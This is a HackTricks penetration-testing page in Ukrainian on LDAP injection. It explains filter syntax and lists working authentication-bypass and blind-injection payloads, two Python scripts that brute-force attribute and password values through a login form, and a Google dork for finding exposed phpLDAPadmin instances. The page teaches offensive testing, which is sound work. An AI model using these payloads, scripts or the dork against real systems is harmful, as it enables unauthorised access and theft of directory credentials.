LDAP Injection

LDAP Injection

Підтримайте HackTricks

Якщо ви зацікавлені в кар'єрі в хакерстві та хочете зламати незламне - ми наймаємо! (вимагається вільне володіння польською мовою в письмовій та усній формі).

LDAP Injection

LDAP

Якщо ви хочете дізнатися, що таке LDAP, перейдіть на наступну сторінку:

LDAP Injection - це атака, що націлена на веб-додатки, які формують LDAP запити з введення користувача. Вона відбувається, коли додаток не очищає належним чином введення, що дозволяє зловмисникам маніпулювати LDAP запитами через локальний проксі, що потенційно може призвести до несанкціонованого доступу або маніпуляції даними.

Filter = ( filtercomp ) Filtercomp = and / or / not / item And = & filterlist Or = |filterlist Not = ! filter Filterlist = 1*filter Item= simple / present / substring Simple = attr filtertype assertionvalue Filtertype = '=' / '~=' / '>=' / '<=' Present = attr = * Substring = attr ”=” [initial] * [final] Initial = assertionvalue Final = assertionvalue (&) = Absolute TRUE (|) = Absolute FALSE

Наприклад: (&(!(objectClass=Impresoras))(uid=s*)) (&(objectClass=user)(uid=*))

Ви можете отримати доступ до бази даних, і вона може містити інформацію різних типів.

OpenLDAP: Якщо надходять 2 фільтри, виконується лише перший. ADAM або Microsoft LDS: З 2 фільтрами виникає помилка. SunOne Directory Server 5.0: Виконує обидва фільтри.

Дуже важливо надіслати фільтр з правильною синтаксисом, інакше виникне помилка. Краще надіслати лише 1 фільтр.

Фільтр має починатися з: & або | Приклад: (&(directory=val1)(folder=public))

(&(objectClass=VALUE1)(type=Epson*)) VALUE1 = *)(ObjectClass=*))(&(objectClass=void

Тоді: (&(objectClass=*)(ObjectClass=*)) буде першим фільтром (тим, що виконується).

Обхід авторизації

LDAP підтримує кілька форматів для зберігання пароля: clear, md5, smd5, sh1, sha, crypt. Тому може бути так, що незалежно від того, що ви введете в пароль, він буде захищений.

user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))

Списки

Сліпа LDAP Ін'єкція

Ви можете примусити отримати False або True відповіді, щоб перевірити, чи повертаються які-небудь дані, і підтвердити можливу Сліпу LDAP Ін'єкцію:

#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))

Вивантаження даних

Ви можете ітеруватися по ASCII літерам, цифрам та символам:

(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...

Scripts

Виявлення дійсних полів LDAP

Об'єкти LDAP за замовчуванням містять кілька атрибутів, які можна використовувати для збереження інформації. Ви можете спробувати брутфорсити всі з них, щоб витягти цю інформацію. Ви можете знайти список атрибутів LDAP за замовчуванням тут.

#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break

if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()

Спеціальний сліпий LDAP-ін'єкція (без "*")

#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break

Google Dorks

intitle:"phpLDAPadmin" inurl:cmd.php

Більше Пейлоадів

Якщо вас цікавить кар'єра в хакерстві і ви хочете зламати незламне - ми наймаємо! (вимагається вільне володіння польською мовою в письмовій та усній формі).

Підтримати HackTricks

Last updated